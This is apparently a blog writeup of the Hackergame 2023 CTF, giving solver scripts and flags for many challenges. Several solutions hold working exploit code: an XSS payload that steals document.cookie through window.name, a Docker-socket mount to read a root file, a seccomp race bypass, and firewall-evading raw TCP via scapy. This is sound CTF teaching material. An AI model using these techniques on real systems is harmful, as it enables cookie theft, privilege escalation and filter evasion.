Hackergame 2023 Summary
Hackergame 2023 Writeup
Summary
摸鱼摸了很久，是时候把这篇文章搬运到博客里了。虽然已经不像三四年前会认真的记录自己每道题学习的过程（毕竟很多知识已经很熟悉了），不过作为传统，还是将其进行一次记录。实际上这次搬运是 24 年 8 月才去做的，所以也不打算再补充什么……
Hackergame 启动
充值 648 即可获得 flag
请求参数在 url 参数中，可以改成 ?similarity=114514 直接通过，之后就能成功启动 ~yuangame2023~ 了。
题外话，想当年做量子藏宝图的时候还不知道什么是旅行者。
现在已经是一个快要 58 级的旅行者了（划掉
flag{WElcom3-tO-HaCKeR94ME-@nd-ENjOY-h@cKIng-2Oz3}
猫咪小测
12：根据 中国科学技术大学图书馆书目检索系统，将鼠标放到 馆藏地 的图标上，可以知道应当在 12 层。23：阅读论文 Nuggets of Wisdom: Determining an Upper Limit on the Number Density of Chickens in the Universe，可知答案是 23。CONFIG_TCP_CONG_BBR：搜索引擎搜索可得 Increase Linux Internet speed with TCP BBR congestion controlECOOP：搜索 PL 相关顶会，在 知乎 看到 “国际上编程语言有公认的四大顶会：PLDI、POPL、OOPSLA、ECOOP。”，逐个尝试。
flag{weLC0m3-to-aT73nd-TH3-Nek0-ExaM-2OZ3}flag{RE4l-ma$73r-of-THE-nEKO-ex4M-!N-u5TC}
更深更暗
F12 查看 HTML，发现最下面存在 flag 字符串
flag{T1t@n_4e3d1ca5eb35f4c1b837e9bb7cbbd72e}
旅行照片 3.0
用一些比较意识流的线索：
金色奖牌：诺贝尔物理学奖，小柴昌俊，东京大学，梶田隆章，ICRR
脖子上挂牌：Statphys28，August 7th-11th, 2023
博物馆：东京国家博物馆，Students Free，Ueno Park，东京全国梅酒节
Statphys28：August 10th，Banquet，安田讲堂
ボタン＆カフリンクス：粉色海报，熊猫
3D 广告：每小时，秋田犬
大概如此？我看其他人的 wp 都更详细，这里酒不展开了
flag{how_I_wi5h_i_COulD_w1N_A_Nobe1_pri23_ac8a3757d0}flag{PluM_w1NE_1S_rEa1LY_EXpen5iVE_d553d0963e}flag{Un7I1_W3_M337_A64iN_6oODByE_S3n1OR_1a850a6dab}
赛博井字棋
对于井字棋，存在后手必不败的策略，因此直接尝试是不可能的。
经过尝试可以发现，本题目的实现可以重复覆盖进行下棋，只要作弊覆盖对手的棋子，就能随便赢。
flag{I_can_eat_your_pieces_468d08ff03}
奶奶的睡前 flag 故事
由于有去年的一系列截图实现导致的安全问题存在，故猜测本题可以利用工具解答。
搜索 google，截图，CVE 等词语后，可以很容易找到 acropalypse
选择 custom 设备，结合已知设备，输入 2048x1080 之后即可得到答案。
flag{sh1nj1ru_k0k0r0_4nata_m4h0}
组委会模拟器
不会有人手动点吧
F12 分析流量可以知道，服务器给出了一系列时间戳和信息，算好时间发送 delete 请求，等待结果就好。
import requests
import re
cookies = {
'session': '...'
}
s = requests.Session()
r = s.post('http://202.38.93.111:10021/api/getMessages', cookies=cookies)
msg = r.json()
to_read = msg['messages']
import time
import tqdm
pattern = re.compile(r'hack\[(.*)\]')
start = time.time()
for idx, m in tqdm.tqdm(enumerate(to_read)):
nxt = float(m['delay'])
if pattern.search(m['text']) is not None:
while time.time() - start < nxt + 0.4:
time.sleep(1)
r = s.post('http://202.38.93.111:10021/api/deleteMessage',
cookies=cookies, json={'id': idx})
if not r.json()['success']:
print(r.json())
break
r = s.post('http://202.38.93.111:10021/api/getflag', cookies=cookies)
r.json()flag{Web_pr0gra_mm1ng_2d07d5f8fd_15fun}
虫
SSTV
flag{SSssTV_y0u_W4NNa_HaV3_4_trY}
JSON ⊂ YAML?
搜索可以得到 What valid JSON files are not valid YAML 1.1 files?
构造用例：
{ "2": 12345e999 }即可满足条件一翻找
ruamel.yaml的相关实现中所有可能存在raise的位置，可以找到一处有关于重复键值的 Exception，但是在问题一的尝试中，这一问题不会引发报错构造用例：
{ "2": 12345e999, "2": 12345e999 }即可满足条件二
flag{faf9facd7c9d64f74a4a746468400a50e4bbb0772a}flag{b1c73f14d04db546b7e7e24cf1cc725205cc4b3808}
Git? Git!
Git 的全部数据均压缩后存储在 .git/objects 中，因此可以直接解压缩后搜索 flag。
import os
import zlib
path = "./ML-Course-Notes/.git/objects"
for (path, dirs, files) in os.walk(path):
for file in files:
name = os.path.join(path, file)
for ignore in ["info", "pack"]:
if ignore in name:
continue
with open(name, "rb") as f:
try:
data = zlib.decompress(f.read())
if b"flag" in data:
print("[+]: " + name)
s = data.decode()
pos = s.find("flag")
print(s[pos:pos+50])
except:
print("Error: " + name)
continueflag{TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t}
HTTP 集邮册
一次手滑多删除了一个空格后出现了有关于 HTTP 0.9 的无状态码报文：
GET /HTTP/1.1\r\n \r\n状态码构造一览表：
状态码 请求 特殊 Header 100 GET / HTTP/1.1Expect: 100-continue200 GET / HTTP/1.1206 GET / HTTP/1.1Range: bytes=0-1304 GET / HTTP/1.1If-Modified-Since: ...400 GET / HTTP/1.1Content-Length: -1010101404 GET /404 HTTP/1.1405 POST / HTTP/1.1412 GET / HTTP/1.1If-Match: "*"413 GET / HTTP/1.1Content-Length: 104000000416 GET / HTTP/1.1Range: bytes=100000000-501 GET / HTTP/1.1Transfer-Encoding: gzip505 GET / HTTP/2
flag{stacking_up_http_status_codes_is_fun_7ef5b51ff4}flag{congratu1ations you discovered someth1ng before http1.0}flag{I think that when many such status codes are accumulated eeb164fb06 it becomes a lifetime}
Docker for Everyone
Docker 是区分前后端的进程，使用 docker 命令是向 socket 发送请求，实际的执行和文件访问权限为 daemon 的所有者，本道题中也就是 root，因此可以通过挂载的方式读取 flag。
alpine:~$ docker run -it --rm -v /dev/shm/flag:/flag alpine sh
/ # ls
bin etc home media opt root sbin sys usr
dev flag lib mnt proc run srv tmp var
/ # cat flag
flag{u5e_r00t1ess_conta1ner_98d15a166b_plz!}flag{u5e_r00t1ess_conta1ner_98d15a166b_plz!}
惜字如金 2.0
比去年要利用 coppersmith 解密的简单多了。
由于五行都只有一个字母缺失，可以尝试手动解题，找到这个很像是答案的解.jpg
codes = [
'nymeh1niwemflcir}echaet@',
'a3g7}kidgojernoetlsup?h@',
'ullw!f5soadrhwnrsnstnoeq', # f 之前补充一个
'ctt{l-findiehaai{oveatas', # { 之前补充一个
'tty9kxborszstguyd?!blm-p' # g 之前补充一个
]
flag_seq = [53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
25, 63, 77, 36, 5, 32, 60, 67, 113, 28]
result = []
cmap = []
for i in flag_seq:
code = codes[i // 24]
cmap.append(i // 24)
result.append(code[i % 24])
print(cmap)
print(str(result).replace("'", ''))
"".join(result)flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}
🪐 高频率星球
大概读懂文件内容的情况下，将出现的因为 less 存在控制字符序列全部替换删除，恢复原文件。
程序运行时的 asciinema_restore.rec 已经去除了 less 之前的内容。
import os
import json
file = "./asciinema_restore.rec"
with open(file, "rb") as f:
data = f.read()
data = data.split(b"\n")
res = []
syms = [
b':\x1b[K',
b'~\x1b[K',
b'\r\x1b[K \x1b[KESC\x08\x08\x08ESC',
b'\r\x1b[K',
b'\x1b[7mflag.js\x1b[27m\x1b[K',
b'\x1b[K[\x08[',
b'\x1b[K~\x08~',
b'\x1b[K6\x086',
b'\x1b[7m(END)'
b'\x1b[27m\x1b[K'
]
for line in data:
try:
ret = json.loads(line)
ret = ret[2].encode()
if b"\r\x1b[K \x1b[KESC\x08\x08" in ret and len(ret) <= 39:
continue
for i in syms:
ret = ret.replace(i, b"")
res.append(ret)
except:
pass
with open("res.js", "wb") as f:
f.write(b"".join(res))
os.system("node res.js")flag{y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da1063300e5dabf826e40ffd016101458df23a371}
🪐 小型大语言模型星球
从第三题开始，分析可以知道要在给定了输出序列的情况下训练输入向量，需要进行一些模型的 hack，时间原因没继续做。
第一问，讲道理：
this story is about "you are smart", the boy's name is "you are smart", the girl called him: "you are smart". The boy was so happy to hear the story. He thanked the girl and said: "I will always remember this 👏👏👏 flag1: flag{1-THINK-y0u-4Re-Re411y-RE@LLy-$Mart} 👏👏👏暴力，在本地运行起模型之后，对于少于 7 个字符的输入进行枚举，很快可以得到：
d} accepted and gave him the gift. The man was so happy and he thanked the shopkeeper. He went home and enjoyed his new gift. 🎉🎉🎉 flag2: flag{y0u-4re-4CCepTED-T0-CoN7INUE-THe-G@Me} 🎉🎉🎉
flag{1-THINK-y0u-4Re-Re411y-RE@LLy-$Mart}flag{y0u-4re-4CCepTED-T0-CoN7INUE-THe-G@Me}
🪐 流式星球
MyGo 下载好了一直没看呜呜呜
在 ipynb 中一步一步尝试求解。首先对于可能的长度进行因式分解：
import cv2
import numpy as np
from tqdm import tqdm
from itertools import combinations
import itertools
import math
from PIL import Image
length = 0
buffer = None
with open('./video.bin', 'rb') as f:
buffer = np.fromfile(f, dtype=np.uint8)
buffer = buffer.reshape(-1, 3)
length = buffer.shape[0]
def prime_factor(num):
original_num = num
factors = []
for i in range(2, int(math.sqrt(num)) + 1):
while num % i == 0:
factors.append(i)
num //= i
if num > 1:
factors.append(num)
result = np.prod(factors)
if result != original_num:
raise Exception('not prime factor: {}'.format(original_num))
return factors
possible_factors = {}
# try to factorize the length
for i in range(100):
fs = prime_factor(length + i)
# must have at least 4 factors
if len(fs) <= 3: continue
possible_factors[length + i] = fs
def extract(real_len, width, height=998, write=True):
img = buffer[:width * height].reshape((height, width, 3))
print(img.shape)
if write:
cv2.imwrite(f'./img/{real_len}_{width}_{height}.png', img)
else:
return Image.fromarray(img)
def test():
# take the first frame of the video in every possible factor
# need to combine the factors to get the resolution
for real_len in possible_factors.keys():
fs = possible_factors[real_len]
for count in range(1, len(fs)):
for item in combinations(fs, count):
width = np.prod(item)
if width % 10 == 0 or width < 100 or width > 3000:
continue
extract(real_len, width)
尝试提取一些后，根据输出对宽度进行增减测试，二分可以快速得到如下常量：
frame_width = 427
frame_height = 759
file_len = 0
frame_size = frame_width * frame_height
frame_count = length // frame_size
for real_len in possible_factors.keys():
if real_len % frame_width != 0 or real_len % frame_height != 0:
continue
print(real_len)
file_len = real_len
file_len - length之后提取：
size = (frame_width, frame_height)
for i in range(frame_count):
img = buffer[i * frame_size:(i + 1) * frame_size].reshape(
(frame_height, frame_width, 3))
cv2.imwrite(f'./img/{i}.png', img)可以在图片中找到 flag 内容。
flag{it-could-be-easy-to-restore-video-with-haruhikage-even-without-metadata-0F7968CC}
🪐 低带宽星球
直接在线压缩都能得到
第二问的尝试中目前得到的最好程度是手动绘制矢量图、导出为
webp，可以得到160B的成绩，此题正确解法请参考其他 writeup
flag{justfind_an_image_compressor_andgo!}
Komm, süsser Flagge
我的 POST
想要抵抗 --algo bm --string "POST" 只需要将一个 HTTP 请求分块发送，使得无法对 POST 进行全文匹配即可。
http_request = [
" / HTTP/1.1",
"Host: {}:{}".format(addr, port),
"Content-Length: 100",
"Content-Type: application/x-www-form-urlencoded",
"",
token
]
req = "\r\n".join(http_request)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((addr, int(port)))
s.send(b"PO")
s.send(b"ST")
s.send(req.encode())
print(s.recv(1024).decode())flag{ea5Y_sPl1tt3r_45dcf31181}
我的 P
这一问成功 Get 了非预期，对于 -m u32 --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50"t，由于会读取 4byte，于是第一问的解答可以继续使用。
我的 GET
对于如下的规则进行考量：
-m string --algo bm --from 0 --to 50 --string "GET / HTTP" -j ACCEPT
不止是 TCP 包，全部流量包的前 50bytes 中均需要存在 GET / HTTP 字符串。最开始考虑使用固定值之间的空隙来存放，后续经过本地的抓包计算，空间不足，如果放在 TCP Options 中也可能导致超出 50bytes 的范围。
于是考虑向 IP 层添加信息，这道题卡住主要是因为不知道 scapy，后续知道了后，很快就成功实现。
又一个坑是操作系统可能会抢答 TCP 包，在它没有维护这个 socket 的时候，会尝试 RST，干扰我们的请求。因此需要使用本地 iptables 进行 drop。
sudo iptables -A INPUT -p tcp -s "192.168.23.1" --sport 18082 -j DROPfrom scapy.all import *
token = ""
ip = IP(
dst="192.168.23.1",
options=bytes([15, 12]) + b"GET / HTTP"
)
sport, dport = 61451, 18082
http_request = [
"POST / HTTP/1.1",
"Host: 192.168.23.1:18082",
"Content-Length: 100",
"Content-Type: application/x-www-form-urlencoded",
"",
token
]
data = "\r\n".join(http_request).encode()
seq = RandInt()
SYN = TCP(sport=sport, dport=dport, flags='S', seq=seq)
SYNACK = sr1(ip / SYN)
print(f"[+] SYNACK: seq={SYNACK.seq} ack={SYNACK.ack}")
ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)
send(ip / ACK)
print(f"[+] ACK sent: seq={ACK.seq} ack={ACK.ack}")
DATA = TCP(sport=sport, dport=dport, flags='PA', seq=SYNACK.ack, ack=SYNACK.seq + 1) / data
DATAACK = sr1(ip / DATA)
print(f"[+] DATAACK: seq={DATAACK.seq} ack={DATAACK.ack}")在发送请求包的同时，给 OpenVPN 的虚拟网卡挂上 wireshark，就能获取到回复了。
当遇到流量不符合预期的时候最好的办法是重启 OpenVPN，别问我怎么知道的和卡了多久。
为什么要打开 /flag 😡
LD_PRELOAD, love!
LD_PRELOAD 是 Linux 下的一个环境变量，可以用来指定动态链接库的加载路径，可以用来劫持函数调用。
因此我们只需要正确加载原有的 libc.so.6 中的函数进行使用即可。
static FILE *(*real_real_fopen)(const char *restrict, const char *restrict) = NULL;
int main() {
void *handle = dlopen("/lib/x86_64-linux-gnu/libc.so.6", RTLD_LAZY);
real_real_fopen = dlsym(handle, "fopen");
printf("ptr: %p\n", real_real_fopen);
printf("pid: %d\n", getpid());
// open flag and read
FILE *fp = real_real_fopen("/flag", "r");
char buf[0x100];
fread(buf, 1, 0x100, fp);
printf("%s\n", buf);
return 0;
}都是 seccomp 的错
本来没什么思路，水群时候看到有人发了一个截图，内容是来自 Rust 的 OS Error，这一截图让我确信了多线程在本题中是可行的。
因为在 open 系统调用中传递的为字符串指针，因此在 seccomp 中进行 syscall 数据拷贝的时候不会拷贝到字符串的内容，而是指针的值，因此可以通过多线程的方式来绕过 seccomp 的限制，进行条件竞争。
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mem(char* addr, const char* str) {
while (*str) {
*addr = *str;
addr++;
str++;
}
*addr = '\0';
}
const char* temp = "/etc/passwd";
const char* flag = "/flag";
int main()
{
// create shared memory with mmap
char *shared_memory = mmap(NULL, 512, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
write_mem(shared_memory, temp);
int child_count = 0;
while (child_count < 10)
{
// fork
int pid = fork();
if (pid == -1)
{
perror("fork");
exit(1);
}
if (pid == 0)
{
for(int i = 0; i < 10000; i++)
{
write_mem(shared_memory, flag);
// sleep for a while
for (int j = 0; j < 100; j++)
{
asm("nop");
}
write_mem(shared_memory, temp);
// sleep for a while
for (int j = 0; j < 100; j++)
{
asm("nop");
}
}
exit(0);
}
else
{
child_count++;
}
}
// print the flag
for (int i = 0; i < 10000; i++)
{
FILE *fp = fopen(shared_memory, "r");
if (fp == NULL)
{
perror("fopen");
continue;
}
char buf[512];
fread(buf, 1, 512, fp);
if (buf[0] == 'f')
{
printf("flag: %s\n", buf);
exit(0);
}
fclose(fp);
}
return 0;
}flag{rEAd_seccomp_unotify(2)_mAnpAgE_7e49dc2ad3_t0ct0u}
异星歧途
打开游戏，把玩一会，可以在右下角看到本游戏支持“逻辑处理器”这种东西。
第一部分：
sensor s1 switch1 @enabled
sensor s2 switch2 @enabled
sensor s3 switch3 @enabled
sensor s4 switch4 @enabled
sensor s5 switch5 @enabled
sensor s6 switch6 @enabled
sensor s7 switch7 @enabled
sensor s8 switch8 @enabled
jump 18 equal s1 false
jump 18 equal s2 true
jump 18 equal s3 false
jump 18 equal s4 true
jump 18 equal s5 true
jump 18 equal s6 false
jump 18 equal s7 true
jump 18 equal s8 false
control enabled generator1 1 0 0 0
end
control enabled generator1 0 0 0 0
end直接可以读出来：01011010
第二部分：
sensor sw1 switch1 @enabled
sensor sw2 switch2 @enabled
sensor sw3 switch3 @enabled
sensor sw4 switch4 @enabled
sensor sw5 switch5 @enabled
sensor sw6 switch6 @enabled
sensor sw7 switch7 @enabled
sensor sw8 switch8 @enabled
op shl t sw1 7
set number t
op shl t sw2 6
op add number number t
op shl t sw3 5
op add number number t
op shl t sw4 4
op add number number t
op shl t sw5 3
op add number number t
op shl t sw6 2
op add number number t
op shl t sw7 1
op add number number t
set t sw8
op add number number t
set en 0
set i 0
jump 33 greaterThanEq i 16
op pow fl0 i 2
jump 31 notEqual fl0 number
set en 1
jump 33 always x false
op add i i 1
jump 26 always x false
op equal fl1 0 sw1
op equal fl2 0 sw6
op or fl3 fl1 fl2
jump 38 equal fl3 0
set en 0
control enabled generator1 en 0 0 0
control enabled panel1 en 0 0 0
end简单反汇编：
jump 33 greaterThanEq i 16 # if i >= 16 goto 33
op pow fl0 i 2 # fl0 = i^2
jump 31 notEqual fl0 number # if fl0 != number goto 31
set en 1 # en = 1
jump 33 always x false # goto 33
op add i i 1 # i++
jump 26 always x false # goto 26
op equal fl1 0 sw1 # fl1 = sw1 == 0
op equal fl2 0 sw6 # fl2 = sw6 == 0
op or fl3 fl1 fl2 # fl3 = fl1 || fl2
jump 38 equal fl3 0 # if fl3 == 0 goto 38
set en 0 # en = 0fl3 != 0=>sw1 == 1 || sw6 == 1number is ? ** 2
for i in range(16):
bits = bin(i ** 2)[2:].zfill(8)
if bits[0] == '1' and bits[5] == '1':
print(i**2, bits)直接可以得到：11000100
第三部分：
sensor sw1 switch1 @enabled
sensor sw2 switch2 @enabled
sensor sw3 switch3 @enabled
sensor sw4 switch4 @enabled
sensor sw5 switch5 @enabled
sensor sw6 switch6 @enabled
sensor sw7 switch7 @enabled
sensor sw8 switch8 @enabled
sensor sw9 switch9 @enabled
control enabled conveyor2 sw1 0 0 0 # sw1 <- ?
control enabled gate1 sw2 0 0 0 # sw2 <- 0
op equal nsw3 sw3 0 # nsw3 = sw3 == 0 (not sw3)
control enabled reactor1 nsw3 0 0 0
control enabled reactor2 nsw3 0 0 0
control enabled conduit1 sw4 0 0 0 # sw4 <- 0
control enabled conduit2 sw4 0 0 0
control enabled mixer1 sw5 0 0 0 # sw5 <- 1
control enabled extractor1 sw6 0 0 0 # sw6 <- 1
control enabled meltdown1 sw7 0 0 0 # sw7 <- 0
control enabled meltdown2 sw7 0 0 0
op equal result sw8 sw9 # result = sw8 == sw9
jump 28 equal result true # if result == true goto 28
control enabled mixer1 0 0 0 0
control enabled conduit2 1 0 0 0
control enabled reactor1 1 0 0 0
control enabled reactor2 1 0 0 0
control enabled conveyor2 1 0 0 0
wait 5
end需要分析一下游戏逻辑，有反应堆肯定有冷却液体，那么肯定需要先保证冷却液的制造、管道没有泄漏，之后发现 meltdown 会大量消耗电力，不应该启动。
因此结合这些条件，可以得到 10001100，大概也就炸了几次吧（逃
第四部分：
尝试进行游戏内部把玩，可以得到 01110111
最终结果就是 10100101110001001000110001110111
flag{B34WarE_0f_#xp1osi0N_d894cdf5db}
微积分计算小练习 2.0
卡了很久，尝试了各种 location、location["hash"]、origin 等 window 对象的属性，由于存在 escape 都没有成功进行 HTML 注入。
之后根据 popup 找到了有关 window.open 的文档和 window.name 属性的解释 target，提到了：
A string, without whitespace, specifying the name of the browsing context the resource is being loaded into.
因此 XSS 链条就可以构成，通过给 comment 提交 "+name+" 来初始化页面后，利用：
<!doctype html>
<html>
<head>
<title>Test</title>
</head>
<body>
<script>
var result = new URL("http://web/result");
var payload = `<img src onerror=([{a:document.getElementsByClassName('form-control')[0].value=window.btoa(document.cookie.slice(0,16))},{b:document.getElementsByClassName('btn')[0].click()}])>`;
window.open(result.href, "Hello!</p>" + payload);
</script>
</body>
</html>进行注入和对 flag 的切片获取：
"ZmxhZz1mbGFnJTdCeDU1Xw=="
"c3RpbGxfYWxpdmUlMjYlMw=="
"RCUzRV8lM0MrXzcwYjczMA=="
"MjFkMSU3RA=="
"flag=flag{x55_still_alive&=>_< _70b73021d1}"flag{x55_still_alive&=>_< _70b73021d1}
逆向工程不需要 F5
逆向工程需要毅力和耐心。
在手动提取并阅读了 420+ 行汇编后就可以解出来了。
以其中一部分举例：
mov [rsp+1D8h+k], 0
cmp [rsp+1D8h+k], 4 // for (k = 0; k < 4)
jge loc_140001271
mov [rsp+1D8h+m], 0
cmp [rsp+1D8h+m], 8
jge short loc_140001260 // for (m = 0; m < 8)
lea r14, [rsp+1D8h+k] // r14 = &k
lea r13, [rsp+1D8h+ret_3] // r13 = &ret_3
<!-- call sub_140001550 -->
mov rdx, r13 // rdx = &ret_3
mov r14d, [r14] // r14 = k
mov r15d, 2 // r15 = 2
<!-- mov rcx, cs:lib10_18cc -->
<!-- call rcx ; lib10_18cc -->
// lib10
push rcx
mov rcx, r15 // rcx = 2
mov r9, r14 // r9 = k
shl r9, cl // r9 = k << 2
pop rcx
// sub_140001550
mov r14d, 0DEADBEEFh // r14 = 0xDEADBEEF
mov r15d, r9d // r15 = r9 = k << 2
<!-- mov rcx, cs:lib13_90ea -->
<!-- call rcx ; lib13_90ea -->
// lib13
mov r9, r14 // r9 = 0xDEADBEEF
xor r9, r15 // r9 = 0xDEADBEEF ^ (k << 2)
mov [rdx], r9 // ret_3 = 0xDEADBEEF ^ (k << 2)
<!-- jmp short loc_14000155E -->
<!-- retn -->
mov r13, [rsp+1D8h+ret_3] // r13 = ret_3
lea r10, [rsp+1D8h+pos]
lea r14, [rsp+1D8h+m]
lea r15, [rsp+1D8h+ret_4]
lea rcx, [rsp+1D8h+ret_5]
lea rdx, [rsp+1D8h+ret_6]
<!-- mov rax, cs:lib02 -->
<!-- call rax ; lib02 -->
// lib2
mov [r15], r13d // ret_4 = ret_3
mov rsi, [r10] // rsi = pos
mov [rcx], rsi // ret_5 = [r10] = pos
movsxd rsi, dword ptr [r14] // rsi = m
mov [rdx], rsi // ret_6 = [r14] = m
// main
mov r13d, [rsp+1D8h+ret_4] // r13 = ret_4 = ret_3
mov r14, [rsp+1D8h+ret_5] // r14 = ret_5 = pos
mov r15, [rsp+1D8h+ret_6] // r15 = ret_6 = m
<!-- mov rax, cs:lib09 -->
<!-- call rax ; lib09 -->
// lib09
imul r13d, [r14+r15*4] // r13 = ret_3 * pos[m(*4)]
mov [r14+r15*4], r13d // pos[m] = ret_3 * pos[m(*4)]
// main
// lea r14, [rsp+1D8h+m]
// call sub_1400015A0 -> lib12 -> m++
// lea rdx, [rsp+1D8h+k]
// call sub_1400015D0 -> lib12 -> k++上述汇编描述了：
def stage2(flag):
# xor by 0xdeadbeef, dword
num = 0xdeadbeef
flag = bytes_to_int32(flag)
for k in range(4):
a = num ^ (k << 2)
for m in range(8):
flag[m] = (flag[m] * a) & 0xffffffff
ret = int32_to_bytes(flag)
print(ret.hex())
return ret最后得到的正向代码：
def stage0(flag):
# guess this is int128
num = 0x55AA00FF
mask = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
flag = bytes_to_int128(flag)
for n in range(4):
for m in range(2):
a = num ^ (n << 4)
flag[m] = (flag[m] * a) & mask
ret = int128_to_bytes(flag)
print(ret.hex())
return ret
def stage1(flag):
# xor by 0x7a026655fd263677, qword
num = 0x7a026655fd263677
flag = bytes_to_int64(flag)
for j in range(4):
flag[j] ^= num
ret = int64_to_bytes(flag)
print(ret.hex())
return ret
def stage2(flag):
# xor by 0xdeadbeef, dword
num = 0xdeadbeef
flag = bytes_to_int32(flag)
for k in range(4):
a = num ^ (k << 2)
for m in range(8):
flag[m] = (flag[m] * a) & 0xffffffff
ret = int32_to_bytes(flag)
print(ret.hex())
return ret
def stage3(flag):
# xor by 0xcdec, word
num = 0xcdec
flag = bytes_to_int16(flag)
for m in range(16):
flag[m] ^= num
ret = int16_to_bytes(flag)
print(ret.hex())
return ret
def stage4(flag):
# xor by byte
flag = [i for i in flag]
for j in range(4):
for k in range(32):
m = 0x21 ^ (j << 1)
flag[k] = (flag[k] * m) & 0xff
ret = bytes(flag)
print(ret.hex())
return ret于是进行逆向程序编写：
def stage4_rev(flag):
# xor by byte
flag = [i for i in flag]
for j in range(4):
for k in range(32):
m = 0x21 ^ (j << 1)
inverse_m = inverse(m, 256)
flag[k] = (flag[k] * inverse_m) & 0xff
ret = bytes(flag)
print("s4:", ret.hex())
return bytes(flag)
def stage3_rev(flag):
# xor by 0xcdec, word
num = 0xcdec
flag = bytes_to_int16(flag)
for m in range(16):
flag[m] ^= num
ret = int16_to_bytes(flag)
print("s3:", ret.hex())
return ret
def stage2_rev(flag):
# xor by 0xdeadbeef, dword
num = 0xdeadbeef
flag = bytes_to_int32(flag)
for k in range(4):
a = num ^ (k << 2)
for m in range(8):
inverse_k = inverse(a, 2 ** 32)
flag[m] = (flag[m] * inverse_k) & 0xffffffff
ret = int32_to_bytes(flag)
print("s2:", ret.hex())
return ret
# just xor
stage1_rev = stage1
def stage0_rev(flag):
num = 0x55AA00FF
mask = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
flag = bytes_to_int128(flag)
for n in range(4):
for m in range(2):
a = num ^ (n << 4)
inverse_a = inverse(a, 2 ** 128)
flag[m] = (flag[m] * inverse_a) & mask
ret = int128_to_bytes(flag)
print(ret.hex())
return ret
hackergame = '7F 02 57 CD 9F D9 34 92 1A 1F 24 12 AE C5 E7 42' \
'AF AB 40 CC 36 D5 E9 05 AB 0C A8 EB 96 41 A7 AC'
hackergame = bytes.fromhex(hackergame.replace(' ', ''))
ret = hackergame
ret = stage4_rev(ret)
ret = stage3_rev(ret)
ret = stage2_rev(ret)
ret = stage1_rev(ret)
ret = stage0_rev(ret)
print(f"flag:{{{ret.decode()}}}")flag{DECoMp!!ER_15_nOT_@Lways_Enough~}
O(1) 用户登录系统
很坑的一道题，跳出思维陷阱的时间大概是 2 天。
核心目标为构建一个可以被 .decode("utf-8") 的含有 : 的字符串，且让它作为一棵叶子节点存在 admin:xxxx 的树的根。
from hashlib import sha1
from pwn import *
def solve(target=b'admin:11451'):
target = sha1(b'admin:11451').digest()
padding = b'11451' * 4
nxt = target
current = target
while True:
# avoid '\n' but need ':'
if 0x3a in nxt and 0x0a not in nxt:
try:
nxt.decode()
# result can be put into the "user:pass" format
# construct the chain to this
return nxt + padding, [current, padding]
except:
pass
current = nxt
if current > target:
nxt = sha1(target + current).digest()
else:
nxt = sha1(current + target).digest()
user, padding = solve()
padding = ''.join([p.hex() for p in padding])
sh = remote('202.38.93.111', 10094)
sh.sendlineafter(b'token: \n', token)
sh.sendlineafter(b'Choice: ', b'1')
other = b'1:1'
sh.sendlineafter(b'> ', other)
sh.sendlineafter(b'> ', user)
sh.sendlineafter(b'> ', b'EOF')
log.info(f'user: {user}')
credential = 'admin:11451:' + padding + sha1(other).hexdigest()
log.info(f'credential: {credential}')
sh.sendlineafter(b'Choice: ', b'2')
sh.sendlineafter(b'credential: ', credential.encode())
sh.recvuntil(b'Hello, admin!\n')
print(sh.recvline().decode())
sh.close()小 Z 的谜题
这道题出的很好我很喜欢，思维难度也有，能够把问题写成这样的代码也确实很强。
首先，先给出本道题描述的问题，即：将 16 个长方体放在一个 5x5x5 的立方体中，限制了每个方块的形状和数量。
有这样的前提后我们看一下代码描述了什么：
# 边长为 5
bound = 5
# 每个长方体的形状是什么
constraints = ((1, 1, 3), (1, 2, 2), (1, 2, 4), (1, 4, 4), (2, 2, 2), (2, 2, 3))
# 每个长方体的数量是多少
count = [3, 4, 2, 2, 2, 3]首先，对于 16 个方块，都需要放在 5x5x5 的立方体中：
for i in range(num_constraints):
for j in range(num_dims):
for k in range(3):
if k == 2:
arrange[i][j][k] = -1
else:
number = int(next(s))
assert 0 <= number <= bound
arrange[i][j][k] = number
print('Stage 0 passed')之后，这些长方体必须有序得被输入：
assert arrange == list(sorted(arrange))
print('Stage 1 passed')再之后，这些长方体互相不存在覆盖关系：
for i in range(num_constraints):
for j in range(num_constraints):
if i == j:
continue
assert any((arrange[i][k][1] <= arrange[j][k][0] or arrange[j][k][1] <= arrange[i][k][0]) for k in range(num_dims))
print('Stage 2 passed')最后，这些长方体满足数量限制：
for i in range(num_constraints):
for t in range(len(constraints)):
if tuple(sorted([arrange[i][j][1] - arrange[i][j][0] for j in range(num_dims)])) == constraints[t]:
count[t] -= 1
break
assert not any(count)
print('Stage 3 passed')然后计算分数：这一算法的结果近似等价于所有方块对 x = -1，y = -1 和 z = -1 三个平面的投影点，加上他们本身的顶点的数量，近似是因为还有些在三面的交线上。
score = len(set((x, y, z) for i in range(num_constraints) for x, y, z in itertools.product(*arrange[i])))
if score >= 157:
print(open('/flag3').read())
elif score <= 136:
print(open('/flag2').read())
else:
print(open('/flag1').read())在理解了这个问题之后，我隐约觉得有点像俄罗斯方块、数独之类的，遂搜索得到了 “精确覆盖” 问题，并得知了舞蹈链和 X 算法。
……这个算法大量使用链表，于是我还在纠结用 python、rust 都挺烦的……
最终选择去洛谷上偷了个 OI 代码，不得不说，现在看 OI 的代码真是折磨……
将数量限制也作为 DFS 条件的一部分，可以得到如下代码：
bool dance(int k) {
if (head.L == (&head)) {
if (k != 16)
return false;
cout << "[";
for (int i = 0; i < k - 1; i++) {
cout << ans[i] << ", ";
}
cout << ans[k - 1] << "]" << endl;
return true;
}
int INF = (1 << 30), c = -1;
for (DLXnode *ptr = head.L; ptr != (&head); ptr = ptr->L) {
if (sz[ptr->c] < INF) {
INF = sz[ptr->c];
c = ptr->c;
}
}
cover(c);
DLXnode *ptr;
